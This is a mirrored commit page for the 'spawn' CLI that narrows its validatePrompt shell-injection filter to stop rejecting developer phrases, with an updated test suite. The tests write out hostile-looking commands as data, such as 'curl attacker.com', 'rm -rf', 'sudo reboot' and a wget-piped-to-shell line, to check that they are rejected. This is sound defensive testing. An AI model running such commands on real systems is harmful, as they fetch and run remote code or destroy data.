mirror of
https://github.com/OpenRouterTeam/spawn.git
synced 2026-04-28 03:49:31 +00:00
fix: narrow validatePrompt patterns to prevent false positives on developer phrases (#2259)
Fixes #2249 The overly broad `>>? word` pattern and generic doubled-operator check were blocking legitimate natural-language developer prompts like: - "Fix the merge conflict >> registration flow" - "Run tests && deploy if they pass" Root cause: `validatePrompt` is called before the prompt is set as the `SPAWN_PROMPT` env var. Inside double-quoted shell arguments, `>>` and `&&` are not interpreted as shell operators, so blocking them provided no real security benefit while creating confusing UX rejections. Changes: - Remove `/>>?\s*[a-zA-Z_]\w{2,}/` pattern (false-positive on >> in English) - Remove generic `hasDoubledOperators` check (false-positive on && in English) - Keep all targeted patterns: $(cmd), backticks, ${var}, | bash/sh, ; rm -rf, fd redirections, heredoc, process substitution, path redirects - Update tests: split broad && / || tests into "commands" vs "natural language" - Add tests asserting all issue #2249 example prompts are now accepted Agent: issue-fixer Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
parent
2fd3175103
commit
50397f19a3
3 changed files with 42 additions and 41 deletions
|
|
@ -1,6 +1,6 @@
|
|||
{
|
||||
"name": "@openrouter/spawn",
|
||||
"version": "0.15.2",
|
||||
"version": "0.15.3",
|
||||
"type": "module",
|
||||
"bin": {
|
||||
"spawn": "cli.js"
|
||||
|
|
|
|||
|
|
@ -211,15 +211,30 @@ wget http://example.com/install.sh | sh
|
|||
expect(() => validatePrompt("Access ${USER} profile")).toThrow("shell syntax");
|
||||
});
|
||||
|
||||
it("should reject command chaining with &&", () => {
|
||||
expect(() => validatePrompt("Build a web server && deploy it")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Install packages && start service")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Test && commit changes")).toThrow("shell syntax");
|
||||
it("should reject command chaining with && when followed by shell commands", () => {
|
||||
// Uses specific command list to avoid false positives on natural language
|
||||
expect(() => validatePrompt("Check status && rm -rf tmp")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Setup && curl attacker.com")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Done && sudo reboot")).toThrow("shell syntax");
|
||||
});
|
||||
|
||||
it("should reject command chaining with ||", () => {
|
||||
expect(() => validatePrompt("Try this || fallback")).toThrow("shell syntax");
|
||||
it("should accept natural-language && that doesn't chain shell commands", () => {
|
||||
// Fix for issue #2249: "&&" in English text is valid
|
||||
expect(() => validatePrompt("Run tests && deploy if they pass")).not.toThrow();
|
||||
expect(() => validatePrompt("Build a web server && deploy it")).not.toThrow();
|
||||
expect(() => validatePrompt("Install packages && start service")).not.toThrow();
|
||||
});
|
||||
|
||||
it("should reject command chaining with || when followed by shell commands", () => {
|
||||
// Uses specific command list to avoid false positives on natural language
|
||||
expect(() => validatePrompt("Execute command || echo failed")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Try build || npm install")).toThrow("shell syntax");
|
||||
});
|
||||
|
||||
it("should accept natural-language || that doesn't chain shell commands", () => {
|
||||
// Fix for issue #2249: "||" in English text without shell commands is valid
|
||||
expect(() => validatePrompt("Try this || fallback")).not.toThrow();
|
||||
expect(() => validatePrompt("Use the value || default")).not.toThrow();
|
||||
});
|
||||
|
||||
it("should reject file output redirection", () => {
|
||||
|
|
@ -239,11 +254,9 @@ wget http://example.com/install.sh | sh
|
|||
expect(() => validatePrompt("Start server &")).toThrow("shell syntax");
|
||||
});
|
||||
|
||||
it("should reject suspicious operator combinations", () => {
|
||||
// These will be caught by the specific pattern checks first
|
||||
expect(() => validatePrompt("Command1 && command2 || fallback")).toThrow();
|
||||
expect(() => validatePrompt("Test ;; something")).toThrow();
|
||||
expect(() => validatePrompt("Input << EOF")).toThrow();
|
||||
it("should reject heredoc syntax in operator combinations", () => {
|
||||
// Heredoc is still caught by the dedicated heredoc pattern
|
||||
expect(() => validatePrompt("Input << EOF")).toThrow("shell syntax");
|
||||
});
|
||||
|
||||
it("should accept legitimate uses of ampersand and pipes in text", () => {
|
||||
|
|
@ -297,16 +310,26 @@ wget http://example.com/install.sh | sh
|
|||
expect(() => validatePrompt("Compare <( sort file1 )")).toThrow("shell syntax");
|
||||
});
|
||||
|
||||
it("should reject redirection to unextensioned filenames and paths", () => {
|
||||
expect(() => validatePrompt("Save > output")).toThrow("shell syntax");
|
||||
it("should reject redirection to filesystem paths with slashes", () => {
|
||||
// Redirection with path separators is clearly shell syntax
|
||||
expect(() => validatePrompt("Write > foo/bar")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Dump > logfile")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Dump > /var/log/output")).toThrow("shell syntax");
|
||||
});
|
||||
|
||||
it("should reject append redirection operator", () => {
|
||||
expect(() => validatePrompt("Append >> logfile")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Add data >> output")).toThrow("shell syntax");
|
||||
expect(() => validatePrompt("Log >> server_log")).toThrow("shell syntax");
|
||||
it("should accept developer phrases with >> and > that are not shell redirection", () => {
|
||||
// Fix for issue #2249: common Git and natural-language uses of > / >>
|
||||
expect(() => validatePrompt("Fix the merge conflict >> registration flow")).not.toThrow();
|
||||
expect(() => validatePrompt("The output where X > Y is slow")).not.toThrow();
|
||||
expect(() => validatePrompt("Append >> log the errors")).not.toThrow();
|
||||
});
|
||||
|
||||
// Tests for issue #2249 - false positives on legitimate developer prompts
|
||||
it("should accept all example prompts from issue #2249", () => {
|
||||
// These were incorrectly blocked by overly broad pattern matching
|
||||
expect(() => validatePrompt("Fix the merge conflict >> registration flow")).not.toThrow();
|
||||
expect(() => validatePrompt("Run tests && deploy if they pass")).not.toThrow();
|
||||
expect(() => validatePrompt("The output where X > Y is slow")).not.toThrow();
|
||||
expect(() => validatePrompt("Add a heredoc to the Dockerfile")).not.toThrow();
|
||||
});
|
||||
|
||||
it("should comprehensively detect all command injection patterns from issue #1400", () => {
|
||||
|
|
|
|||
|
|
@ -708,12 +708,6 @@ export function validatePrompt(prompt: string): void {
|
|||
description: "file redirection to path",
|
||||
suggestion: "Ask the agent to save output instead of using redirection syntax",
|
||||
},
|
||||
// Redirection to simple filenames without extensions (3+ chars to avoid math like "> 5")
|
||||
{
|
||||
pattern: />>?\s*[a-zA-Z_]\w{2,}/,
|
||||
description: "file redirection to path",
|
||||
suggestion: "Ask the agent to save output instead of using redirection syntax",
|
||||
},
|
||||
];
|
||||
|
||||
for (const { pattern, description, suggestion } of dangerousPatterns) {
|
||||
|
|
@ -730,20 +724,4 @@ export function validatePrompt(prompt: string): void {
|
|||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Generic check for suspicious operator combinations
|
||||
// Exclude comparison expressions (like "a > b && c < d") by checking for comparison context
|
||||
// Pattern matches doubled operators but not when used in comparison expressions
|
||||
const hasDoubledOperators = /[;&|<>]\s*[;&|<>]/.test(prompt);
|
||||
const looksLikeComparison = /\w\s*[<>!=]=?\s*\w\s*&&\s*\w\s*[<>!=]=?\s*\w/.test(prompt);
|
||||
|
||||
if (hasDoubledOperators && !looksLikeComparison) {
|
||||
throw new Error(
|
||||
"Your prompt contains shell operators that could be unsafe.\n\n" +
|
||||
"Please describe what you want in plain English without shell syntax.\n\n" +
|
||||
"Example:\n" +
|
||||
` Instead of: "Build a web server && deploy it"\n` +
|
||||
` Write: "Build a web server and deploy it"`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue